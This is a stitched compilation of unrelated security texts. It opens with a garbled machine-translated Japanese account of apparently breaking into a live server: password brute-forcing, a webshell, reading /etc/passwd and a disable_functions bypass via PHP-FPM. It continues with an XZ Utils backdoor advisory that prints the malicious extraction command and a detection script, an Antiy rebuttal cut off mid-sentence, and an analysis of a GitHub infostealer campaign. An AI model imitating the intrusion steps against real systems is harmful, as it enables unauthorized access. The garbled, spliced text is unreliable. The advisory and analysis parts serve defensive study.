私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。

確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。


パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。
バックエンドディレクトリ
ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。


win-win?存在しないものは、片面╮(╯_╰)╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。

最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi!入って見てください:





スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。


撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します(¬‿¬)。
webshellを取得
私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。

再び剣を描く時が来ました:

私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか?少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか?しかし、それは問題ではありません。サーバーに対応するだけです。

次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。

すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。
システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。


アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください:

サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます:


テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください:

実際には小さなノートブックがあります(実際に他のサイトを入力するための基礎があります)。
小さなエピソード
ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。






場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした(x_x)。
disable_functionsバイパス
私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。

言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。


Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため(PHP-FPM)、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。



最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。
実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。
ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス(またはStream_Socket_Clientがソケットファイル通信要求を開始する)を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF(サーバー側のリクエスト偽造)と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF(クロスサイトリクエスト偽造、クロスサイトリクエスト偽造)がありますが、これは他のクライアントからのログイン資格情報の盗みです。
ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。
HireHackking
漏洞概述
2024年3月29日,開發人員Andres Freund在安全郵件列表上報告稱,他在調查SSH性能問題時發現了涉及XZ包中的供應鏈攻擊,分析後發現是SSH使用的上游liblzma庫被植入了後門代碼,可能允許攻擊者通過後門非授權訪問系統。
XZ Utils 是一款用於壓縮和解壓縮.xz 和.lzma 文件的工具集。 XZ Utils 由Lasse Collin 開發,是一個開源項目,廣泛應用於各種操作系統中,受影響開源操作系統可在https://repology.org/project/xz/versions中查詢.xz 文件格式是一種基於LZMA2 壓縮算法的文件格式,它提供了比傳統gzip 更高的壓縮比,同時保持了相對較高的解壓縮速度。 XZ Utils v5.6.0和v5.6.1中tar包的編譯文件被植入惡意命令。在某些特定編譯環境下,惡意命令執行後將替換正常編譯過程中的中間文件為後門文件,最後和其他組件一起編譯到XZ Utils的Liblzma庫文件中。當後門代碼被執行時,將掛鉤(HOOK)SSHD進程中的SSH登錄認證函數。當接收到指定的SSH數據包時,將未授權執行指定的系統命令。
漏洞細節分析1、植入流程目前XZ Utils的Github倉庫(https://github.com/tukaani-project/xz)已無法訪問。筆者分析時使用的版本是從其他鏡像網站下載的xz-5.6.1.tar.gz。初始惡意代碼主要在文件build-to-host.m4中。

這條命令拼接後為:sed 'r\n' ./tests/files/bad-3-corrupt_lzma2.xz | tr '\t \-_' ' \t_\-' | xz -d 2 /dev/null,主要從./tests/files/bad-3-corrupt_lzma2.xz中提取代碼並解壓,最後再執行。
提取出的代碼如下:

這部分代碼執行後,判斷是否為Linux系統,如果不是,則退出。
後面的代碼繼續從./tests/files/good-large_compressed.lzma文件中提取後續代碼,再解壓後執行。
提取的代碼如下:

提取出的代碼較多,主要功能是檢測到環境不適合時就退出,不執行植入後門的邏輯;如果環境合適,則繼續提取./tests/files/下的文件,然後替換編譯的中間過程文件liblzma_la-crc64-fast.o和liblzma_la-crc32_fast.o,最後編譯到XZ Utils的庫文件Liblzma中。

根據以上提取的代碼可知,在如下環境編譯將不會植入後門:
1、不是Linux系統(uname不為Linux)
2、沒有IFUNC.IFUNC是GLIBC中用於覆蓋符號的一個功能
3、不編譯動態庫(sharedobject)
4、不是x86_64,或者targettriple結尾不是linux-gnu
5、編譯器不是GCC,或者鏈接器不是GNUld
6、從測試文件中解壓預編譯的二進製文件
7、修改源碼和構建腳本
此外,指令集擴展檢測函數被替換掉,比原函數多一個參數,作用未知。

2、後門功能被植入後門的Liblzma庫文件被進程加載運行後,將進行一系列環境檢查,檢查通過再執行後門功能,包括:
1、未設置TERM環境變量
2、Argv[0]需要是/usr/sbin/sshd
3、LD_DEBUG、LD_PROFILE未設置
4、需要設置LANG
5、未檢測到調試器

通過以上檢查後,執行後門核心功能,主要功能是掛鉤(HOOK)SSH登錄認證過程中的函數RSA_public_decrypt,未授權執行指定的系統命令。即使用指定SSH證書進行登錄時,從公鑰中提取攻擊負載,然後進一步校驗,最後使用ChaCha20算法解密,將解密後數據作為命令執行。

部分已分析的函數功能如下:

漏洞檢測1、查看本地系統是否安裝了受影響版本的XZ,安全版本為xz5.6.0,xz --version
2、使用Openwall上發布的腳本檢查系統是否被感染後門,後門發現者提供的檢測腳本,判斷SSHD程序依賴的Liblzma庫文件二進制數據中是否包含後門特徵碼,該特徵碼為:
#! /bin/bashset -eu# find path to liblzma used by sshdpath='$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')'# does it even exist?if [ '$path'=='' ]then echo probably not vulnerable exitfi# check for function signatureif hexdump -ve '1/1 '%.2x'' '$path' | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410then echo probably vulnerableelse echo probably not vulnerablefi
f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410,對應植入過程中的liblzma_la-crc64-fast.o文件,對應函數為get_cpuid。

解決方案官方暫未更新版本或補丁,建議相關用戶卸載含後門的版本,回退到未包含後門的穩定版本v5.4.6,並及時關注官方新版本更新。

參考鏈接https://www.openwall.com/lists/oss-security/2024/03/29/4
https://access.redhat.com/security/cve/CVE-2024-3094
https://www.openwall.com/lists/oss-security/2024/03/29/4
https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
https://avd.aliyun.com/detail?id=AVD-2024-3094
https://github.com/Midar/xz-backdoor-documentation/wikihttps://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4
https://git.tukaani.org/?p=xz.git;a=summary
文章來源:烽火台實驗室
HireHackking
1.概述2024年2月12日,美國網絡安全公司SentinelOne在其官網上發布題為“China’s Cyber Revenge/Why the PRC Fails to Back Its Claims of Western Espionage”的報告[1],(以下簡稱“SentinelOne報告”),對“中國三家知名網絡安全企業360、奇安信、安天及中國網絡安全產業聯盟(CCIA)”等機構揭露美方情報機構網絡攻擊的相關報告進行解讀。我們先直接概括其報告中的觀點和關鍵邏輯。
SentinelOne報告對我們公開的分析報告基於時間線進行了梳理,並引述一些美方人士觀點,設定瞭如下觀點:
1、中方報告是對國際其他機構對美方分析的跟進,存在長期滯後;
2、中方分析工作嚴重依賴美方自身的信息洩露;
3、中方報告沒有“PCAP包”級別的技術實證。
SentinelOne報告的邏輯並不是應答全球網絡安全業界和研究者過去二十年來對美方情報機構攻擊活動和能力的持續分析曝光,包括在美方多次信息洩露中所暴露出來的觸目驚心的真相,而是試圖把國際關注度轉移到中國網絡安全工作者的技術能力和水平是否能夠支撐其持續獨立發現、分析、研究、溯源美方的攻擊上,並將實證的概念窄化為一種具體的技術格式。美西方此前長時間習慣性地從宏觀層面誇大中國網絡安全能力,以便為其情報機構和軍工複合體爭取巨額的網絡安全預算,而此時,突然又在微觀層面開啟一波認為中國分析溯源能力很差的“嘲諷”流,並宣判:作為被霸凌者,你們反抗無效!
對SentinelOne報告所提及的中國安全企業的分析報告,有很大比例來自安天安全研究與應急處理中心(安天CERT),我們當然承認:作為一個企業級別的安全分析團隊,分析美國情報機構這種超級網空威脅行為體的網絡攻擊活動和支撐體系,是非常艱苦的工作。我們知道其中有巨大的能力、資源等方面的落差。我們就如同一隻警覺的白兔,努力睜大雙眼去發現和分析在迷霧森林中吞噬咀嚼各種弱小動物的巨型鷹鷲,我們希望努力畫出它的樣貌,提醒森林裡的其他動物警惕它的襲擊。
2015年,我們提出了A2PT(即高級的高級持續性威脅)這一名詞,以此明確其空前的能力和威脅,也提醒我們自己,對抗和分析這種攻擊能力會有多麼困難。
分析、溯源APT攻擊本身是一個長期、複雜、需要大量資源,需要高度嚴謹的科學態度和耐心定力的工作,對於更為複雜的A2PT的分析則需要付出更大的代價。我們的工作過程基本不為常人所知,分析成果又只有專業人士才能充分理解。所以儘管SentinelOne報告整體邏輯如此之荒謬,但如果我們不向SentinelOne(我們願意稱呼他們為美國同行)點破若干他們視而不見的真相,包括向他們分享一點我們(也包括國際網絡安全業界)對APT分析工作的真正理解,就不足以讓人們看清SentinelOne報告貌似專業、甚至“公正”的梳理和分析下面隱藏的對世界的欺騙。
因此我們很感謝SentinelOne報告,讓我們有機會以自己的回憶視角串聯若干歷史分析工作,包括促成我們公佈這些工作中的一些未出現在歷史報告中的過程線索。由於這段歷程過於漫長,我們一度認為若干有價值的分析成果已經覆滿塵土,但SentinelOne報告讓我們可以把它們重新摘選出來,重新對世界發出告知與提醒。讓所有尋求真相的人們,把我們的這份報告與SentinelOne報告擺放在一起,看看何為詭辯,何為邏輯與真相!
我們並不自詡正確,但我們總還有講述自己經歷的權力!
2.接力追踪鷹鷲的足跡美方情報機構的網絡攻擊不是孤立的行動,而是基於0day漏洞、高級惡意代碼持久化和基於人力、電磁和網空混合作業的長期佈局,並有龐大的工程體係作為支撐。在長期作業過程中可能經歷大型惡意代碼工程的多次迭代,這使得國際網絡安全業界的分析曝光工作看起來像一場工作接力。
第一個接力高峰期,2010年由“震網”事件所觸發,並沿著“火焰”“毒曲”“高斯”等複雜的惡意代碼展開。 SentinelOne的時間線開始就選錯了起點,包括中國網絡安全工作者在內的國際網安業界分析工作起跑於2010年,我們的工作和國際業內同仁是基本同步啟動的,而不是2012年。 2010年7月13日國際網絡安全企業最早曝光相關消息後,我們在7月15日依托設定的關鍵字符串守候到了樣本,並著手搭建“震網”的模擬分析環境,開始模擬分析相關機理。

圖2‑1安天搭建的“震網”簡易模擬分析沙盤(2010.7)
針對“震網”的接力分析,是由很多複雜而瑣碎的工作組成的。例如幾乎所有參與分析的機構,都在其中找到了感染USB設備的擺渡感染代碼。但多數沒有成功觸發復現USB擺渡行為。安天的分析貢獻之一是對其擺渡的關鍵機理進行了深入分析,指出了其擺渡傳播的控制條件,從而解釋了其與其他蠕蟲差異明顯的受控傳播特性。在2010年10月11日的《对Stuxnet的后续分析》 [2]中,我們解讀了:
Stuxnet是否感染到U盤,取決於配置數據中的多個域,包括:
马云惹不起马云偏移0x6c、0x70、0xc8處的標記位;
马云惹不起马云偏移0x78、0x7c處的時間戳;
马云惹不起马云偏移0x80、0x84處的數值。
只有當每個域對應的條件都滿足時,才會感染U盤。其中,偏移0xc8處的位默認設置為不感染。

圖2‑2“震網”文件釋放結構和USB傳播邏輯圖(2010.10)
但我們對當時的分析精細度並不滿意,在九年後的“震網”事件最終報告[3]中,我們對完整的標誌位做了更新:

圖2‑3震網擺渡配置內容解析(2019.9)
2010年面對如此復雜的攻擊時,我們承認自己匱乏資源與經驗,作為從病毒分析組轉型的應急分析團隊,我們太習慣於代碼功能逆向的視角,而並未將其所使用的多個0day漏洞進行逐一驗證,也就留下了一個嚴重的分析錯誤,把針對Windows打印後台程序漏洞的利用當作了對打印機的攻擊,還留下瞭如下帶有錯誤的圖示。這也間接導致了多份國內外的文獻由於引用了我們的圖示而產生關聯錯誤。

圖2‑4 Stuxnet蠕蟲突破物理隔離環境的傳播方式的錯誤圖示(2010.9)
儘管對“震網”事件的深入分析了解是全球所有APT分析研究者的基本功,但我們篤定的是:SentinelOne不會比我們更了解“震網”,因為如果他們分析過樣本,恐怕就不會不知道“震網”會提取主機信息並追加於Payload尾部。顯然,基於我們樣本庫中大量的“震網”樣本對主機信息的還原,會提取出大量中國計算機被感染的證據。而這恰恰就是SentinelOne報告所說的實證。

圖2‑5安天基於樣本提煉整理的感染中國計算機節點的部分數據
當美方領導人和政府人士不僅在多次場合中暗示承認“震網”與其情報機構的關係,甚至明顯以此作為擁有強大網絡攻擊威懾的一種宣示時,對事件的分析就已經不能停留在樣本分析和技術實證層面,而必須更深入的判斷打開信息戰“潘多拉魔盒”的影響。在對“震網”的分析中,安天量化對比了“震網”事件與二十年前的凋零利刃與巴比倫行動,明確提出“震網”的災難性里程碑意義,在於其證明了網絡攻擊能達成傳統作戰行動的局部等效性。
表2‑1兩次針對主權國家核計劃所採用的軍事行動與準軍事行動的對比分析(2015)
凋謝利刃與巴比倫行動(傳統作戰行動)
震網行動(網絡戰行動)
發起攻擊者
以色列、伊朗、美國
美國、以色列
被攻擊目標
伊拉克核反應堆
伊朗鈾離心設施
時間週期
1977-1981年
2006-2010年
人員投入
以色列空軍、特工人員、伊朗空軍、美國空軍和情報機構
美、以情報和軍情領域的軟件和網絡專家,工業控制和核武器的專家
產出
多輪前期偵查和空襲,核反應堆情報
戰場預製、病毒的傳播和伊朗核設施情報
各方裝備投入
伊:2架F-4鬼怪式以12枚MK82減速炸彈-轟炸核反應堆假設工地;10架F-4襲擊伊拉克H-3空軍基地。
以:2架F-4E(S)-偵查任務;8架F-16A(美方提供)、4架F-15A、2架F-15B、16枚MK84炸彈-空襲反應堆
模擬搭建反應堆
特工人員暗殺伊拉克關鍵人員
美方:戰略衛星和情報、空中加油機
震網病毒
模擬搭建離心機和控制體系
效費比
打擊快速,準備期長,耗資巨大,消耗大,行動複雜,風險高
週期長,耗資相對軍事打擊低,但更加精準、隱蔽,不確定性後果更低
訓練成本
18個月模擬空襲訓練,2架F-4鬼怪攻擊墜毀,3名飛行員陣亡
跨越兩位總統任期,經歷了5年的持續開發和改進
消耗
人力、軍力、財力、裝備力、情報
人力、財力、情報
毀傷效果
反應堆被炸毀,嚇阻了法國供應商,伊拉克核武器計劃永久遲滯
導致1000台至2000台離心機癱瘓,鈾無法滿足武器要求,幾乎永久性遲滯了伊朗核武器計劃
在“震網”之後,全球網絡安全業界陸續發現了“毒曲”“火焰”“高斯”並發布報告,並陸續證明它們與“震網”的相關性。在面對“火焰”時,卡巴斯基指出,其攻擊是當時發現的最為複雜的攻擊之一,要對其完全分析清楚可能要耗費數年時間。我們意識到國際安全企業和從業者需要進行分工協同,我們嘗試開啟了一段馬拉松式的分析賽跑,嘗試完成更多的工作,對“火焰”主樣本進行了分析[4],並提取了子模塊清單,對其中重點模塊進行了分析。從目前的公開資料檢索看,在業內完成“火焰”的分析成果中,安天在模塊層面的分析貢獻佔比是最高的。

圖2‑6“火焰”病毒主模塊與子模塊啟動加載順序(2012.5)
我們對“毒曲”和“震網”的同源分析報告晚於國際廠商[5],這的確是一個事實。 “震網”“火焰”“毒曲”“高斯”系列存在同源關聯是當時參與這些樣本深度分析的各廠商的共同的猜測與判斷。卡巴斯基的工作最為敏捷和堅決,而我們則沒有把找到的相似點在第一時間沉澱為公開的分析成果,但如果比較這兩份同源分析,其實也可以看到:安天所提供的同源點大部分與卡巴斯基並不相同,將分析成果疊加起來可以為APT樣本體系間的同源性到代碼復用佔比分析提供更完整的線索和依據。

圖2‑7 安天公佈的震網、毒曲同源關鍵代碼基因對比(2012.5)
APT分析是一個社會協同過程,其中有大量的疑問是需要長時間的分析積累、關聯回溯才能解決的,“震網”就是一個例子。例如在非常長的時間內都沒有組織機構正式解答:作為高度定向的攻擊所使用的樣本,且大版本只有兩個,總模塊數只有數十個,但為什麼其樣本數量多達數千個,包括為什麼在技術驗證中,USB擺渡開關是默認關閉的,卻能形成一條從中東到東南亞並滲透到中國的感染擴散鏈。我們在《震网事件的九年再复盘与思考》 [3]對上述問題進行了分析解答,儘管這個解答遲來了九年,但這是中國網絡安全工程師的獨創內容。相比之下,急功近利的組織機構和研究者很難取得深度和系統的成果。
同樣的,我們以軟件工程的視角,梳理“震網”“火焰”“高斯”“毒曲”之間的代碼復用關係,並輸出了一個完整的圖譜:
圖2‑8 安天發布Stuxnet和Duqu、Flame、Fanny、Flowershop關係圖(2019.9)
既與時間賽跑,又在時間面前保持定力;既尊重他人的分析成果,又有自己的獨創貢獻,這就是中國網絡安全工作者在這場接力中扮演的角色。
3.破解斯芬克斯之謎A2PT組織攻擊裝備的重要特點是惡意代碼和漏洞利用工具攻擊武器幾乎覆蓋所有平台與場景。把這個全貌完整繪製出來,成為全球優秀的網絡安全研究機構攜手共同努力才能破解的斯芬克斯之謎。
在2013年之後,針對“方程式組織”(NSA下屬的TAO團隊)的分析協同就是一次集體解謎歷險。 “方程式組織”的新攻擊活動與此前“震網”“火焰”系列攻擊至關重要的差異是,“震網”是面向隔離網絡的攻擊作業,所以Payload必須包含所有的功能模塊組件,這就便於完整的關聯分析。
而新的攻擊波次主要是依托互聯網側的高度模塊化,針對場景按需投放。由於各國的IT基礎環境、各安全企業服務的客戶場景都有很大不同,任何一家網絡安全廠商都不可能在短時內完整捕獲其各平台樣本和各種功能模塊。如果說我們看到“震網”“火焰”“毒曲”“高斯”是依靠同源線索關聯所形成的分析接力的研究,那麼對“方程式組織”的分析實際上就是依靠自身的感知捕獲能力,逐個解開其在各個平台上的免殺,直到最終完整解開它全平台覆蓋能力。每一個平台捕獲、分析、拼接到最終曝光,都走過了很長的過程。其中我們將iOS樣本的曝光,與我們正式捕獲完成分析的時間,已經相隔了8年。我們依靠自身的捕獲能力,先後捕獲了其Windows、Solaris、Linux、iOS平台的攻擊樣本,破解了樣本加密機制。和國際產業界協同完成了其全操作系統平台覆蓋能力的分析,並最終使其完整曝光。

圖3‑1全球網絡安全廠商披露的方程式組織平台覆蓋能力
2015年初,卡巴斯基率先開始公佈了方程式組織對硬盤固件的攻擊能力,安天跟進公佈了分析報告[6],針對攻擊組件結構、通信指令代碼和控制結構提供了有價值的成果。

圖3‑2 安天公佈的捕獲的C2和通信密鑰(2015.3)
安天該報告中還對硬盤固件寫入模塊進行了分析和過程研究,並在當時對可能被持久化主機硬盤進行了固件提取比對分析。

圖3‑3 安天分析硬盤固件升級流程(2015.3)
我們在2013年對“方程式”組織的捕獲分析中,就監測發現大量回連攻擊者C2的機器,確定國內存在被攻擊目標。

圖3‑4國內回連方程式組織C2監測流量
2015年5月,安天發布報告,公開了“方程式”組織內置的數據加密和網絡通信加密算法,公佈了解密密鑰和解密算法[7]。

圖3‑5方程式組織通信加解密算法分析(2015.4)
2016年,安天的報告首度曝光了“方程式”組織針對Linux系統和SPARC架構的Solaris系統的攻擊樣本[8],分析了樣本的主要功能、通信模式和指令特點。與卡巴斯基等廠商報告疊加,構成了A2PT攻擊組織的全平台惡意代碼能力圖譜。

圖3‑6方程式攻擊組織多平台操作系統覆蓋能力(2016.11)
2023年,安天曝光了“方程式”組織針對iOS的樣本[9],報告與卡巴斯基報告“三角測量行動”互動,分別曝光了美方通過“量子”系統劫持投放和基於手機iMessage服務漏洞投放攻擊iOS手機的攻擊方式。安天在報告中還發布了“量子”系統的攻擊能力圖譜和美方支撐攻擊系統運行的關係圖譜。

圖3‑7 “量子”系統可攻擊場景圖譜化分析(2023.6)
顯然,SentinelOne報告的編寫者可能沒有認真閱讀過中國企業發布的任何一篇APT分析報告,其研究習慣是:依托各安全機構報告的發佈時間來進行關聯推理,他們並未意識到(或者不願意正視)在每一次的連鎖接力中,中國網絡安全廠商與其他國家同行所發布的是不同的成果;而且顯然,他們缺乏深入分析APT事件的經驗和形成重量級分析報告的能力,從而意識不到中國廠商能夠在其他國際同行發布分析成果後迅速跟進、發布具有相關性的成果,其實是由於這些報告的主體部分早已形成,只是在等待發布的時機。我們篤定:對於2023年6月1日卡巴斯基所發布的“三角測量”行動報告和安天在6月9日所發布的“量子系統擊穿蘋果手機”報告,他們沒有讀懂。
因為很顯然,除了目標都是iOS之外,卡巴斯基和安天講述的是兩組完全不同的攻擊活動。卡巴斯基所曝光的攻擊是基於iMessage投放的,而安天曝光的攻擊是基於“量子”系統通過流量劫持投放的。在2023年6月1日發布報告時,卡巴斯基還沒有展開樣本分析,進行的是攻擊流量和行為分析(卡巴斯基真正的樣本分析成果發佈於2023年12月),而安天曝光的是一個早期捕獲的iOS樣本的儲備報告。這是兩組獨立的分析成果,我們只是為國際同行打了一個助攻而已。
4.攔截失控的分身帶給全球網絡安全工作者巨大壓力和乾擾的,並不只是A2PT攻擊本身。如果從事件的數量、攻擊的範圍這種統計學指標來看,美方對網絡軍備擴散的縱容和網絡軍火管理失控導致的網絡黑產與犯罪給全球帶來了更大的麻煩。
2015年,我們發現一例針對中國某機構的APT攻擊事件[10]。從最開始捕獲的加密數據包,到後來發現其利用註冊表數據塊完成的持久化,我們都以為這是一起A2PT組織發起的攻擊,但直到將其導入到安天賽博超腦平台進行同源性比對後才發現:這是由美國企業發布的自動化攻擊測試平台Cobalt Strike生成的攻擊載荷,被利用來對我們發動攻擊。

圖4‑1樣本模塊與Beacon生成模塊的對比分析圖(2015.5)

圖4‑2對Cobalt Strike創始人軍事背景的分析(2015.5)
安天在報告中指出“網絡空間已經存在嚴峻的網絡軍備擴散風險,超級大國能否合理控制自身網絡軍備發展的速度和規模,並對因自身未有效履行責任而使網絡領域發生可能的軍備擴散,進行有效的干預和控制,是我們能否達成一個更安全的網絡世界的關鍵因素。”
結果一語成讖。時隔兩年,美方便帶給全球一次更大的麻煩,因美方的影子經紀人洩露事件導致使用“永恆之藍”漏洞的WannaCry蠕蟲事件,該蠕蟲僅利用美國NSA“網絡軍火”中的“永恆之藍”(Eternalblue)漏洞,就製造了一場遍及全球的巨大網絡災難。
儘管我們在2016年的網絡安全威脅年報[11]中,對勒索病毒有可能和蠕蟲合流的趨勢做了預判,但我們並沒有想到幾個月後就以如此迅猛的方式表現。儘管如此,在針對WannaCry的溯源判斷上,我們還是堅持了中國網絡安全工作者的客觀和嚴謹。雖然其使用的高級漏洞利用工具毫無疑問的來自美方的武器洩露,我們依然依靠WannaCry的歷史樣本同源等多組線索,向中國網絡安全應急組織給出了我們對於WannaCry的來源判斷,以及其並非由美方開發的結論。但這一結論並不意味著,包括中國用戶在內的WannaCry受害者不需要追究美方網絡軍備失控的責任,包
HireHackking

標題:通過GitHub傳播竊密木馬的攻擊活動分析

1 概覽近期,安天CERT監測到通過GitHub傳播竊密木馬的攻擊活動。攻擊者在其發布項目的環境依賴文件requirements.txt中添加惡意URL,以獲取其惡意篡改的流行開源模塊,從而在受害者電腦中植入竊密木馬。
攻擊者使用空格將惡意代碼掩藏在該行代碼的末尾,以避免被用戶察覺;並使用多種手段對惡意代碼進行混淆處理,以規避安全產品檢測、阻礙安全人員分析。經過多層腳本載荷的傳遞後,將執行一種由Python編寫的竊密木馬。該竊密木馬會在受害主機中竊取瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感信息,並針對目標路徑中匹配關鍵詞的文件夾及文件進行竊取,最終將竊密數據回傳至C2服務器或上傳至文件共享平台Gofile中。
在此次攻擊活動中,攻擊者在自己發布的項目中引入經過惡意篡改的流行開源模塊,從而傳播竊密木馬。對流行的開源項目進行篡改,在其中添加惡意代碼後重新打包並在發布的項目中進行惡意引用,已經成為一種攻擊方式,用戶很難察覺環境依賴文件中是否存在異常。用戶在使用網絡中非流行、未證實安全性的開源項目時也需保持警惕,以避免執行掩藏在其中的惡意代碼。
經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該竊密木馬的有效查殺。 2 技術梳理攻擊者在GitHub中上傳項目,並在環境依賴文件requirements.txt中添加惡意URL。當用戶使用該項目時,需要根據該文件中的內容進行配置,從而下載執行經過攻擊者惡意篡改的colorama模塊。
攻擊者添加的惡意代碼用於從其服務器中獲取“version”文件,該文件使用Fernet算法進行加解密,執行後獲取“inj”文件並寫入臨時文件中;“inj”文件經過混淆處理,通過zlib對代碼進行解壓;解壓後的代碼用於獲取最終的竊密木馬,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等基本數據。
該竊密木馬會竊取指定瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感數據,並對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。完成竊密行為後,竊密木馬通過HTTP POST方式將竊密數據回傳至C2服務器中。當第一種回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile。

圖2‑1攻擊流程圖
3 關聯分析此次發現的惡意GitHub項目是“Discord-Token-Generator”,最早於2024年1月份創建。

圖3‑1惡意GitHub項目
該項目的環境依賴文件requirements.txt中包含一個託管colorama-0.4.6.tar.gz的URL。攻擊者對域名進行了偽裝,在流行開源模塊colorama-0.4.6中添加了惡意代碼,並進行重新打包。

圖3‑2惡意Github項目中的requirements.txt文件
根據requirements.txt文件中發現的惡意域名,目前在GitHub中有多個項目引用了經過攻擊者惡意篡改的模塊,相關賬號可能都是由同一批攻擊者所創建。

圖3‑3引用經過攻擊者惡意篡改模塊的相關GitHub項目
攻擊者用於託管載荷的域名於2024年2月份註冊,表明這是一起剛開始進行的攻擊活動。

圖3‑4攻擊者使用域名的註冊時間
在多個惡意GitHub項目中存在攻擊者修改requirements.txt文件的痕跡。分析時已無法獲取到該URL中的colorama-0.4.3.tar.gz,不能判斷該文件是否惡意。

圖3‑5攻擊者修改requirements.txt的痕跡
此外,在竊密木馬文件中存在多處葡萄牙語痕跡,表明攻擊者可能位於葡語系國家或地區。

圖3‑6攻擊者在竊密木馬文件中使用葡萄牙語進行輸出
竊密木馬竊取文件的關鍵詞列表中存在幾處法語,表明攻擊者可能更加針對法語用戶。

圖3‑7竊密文件中的法語痕跡
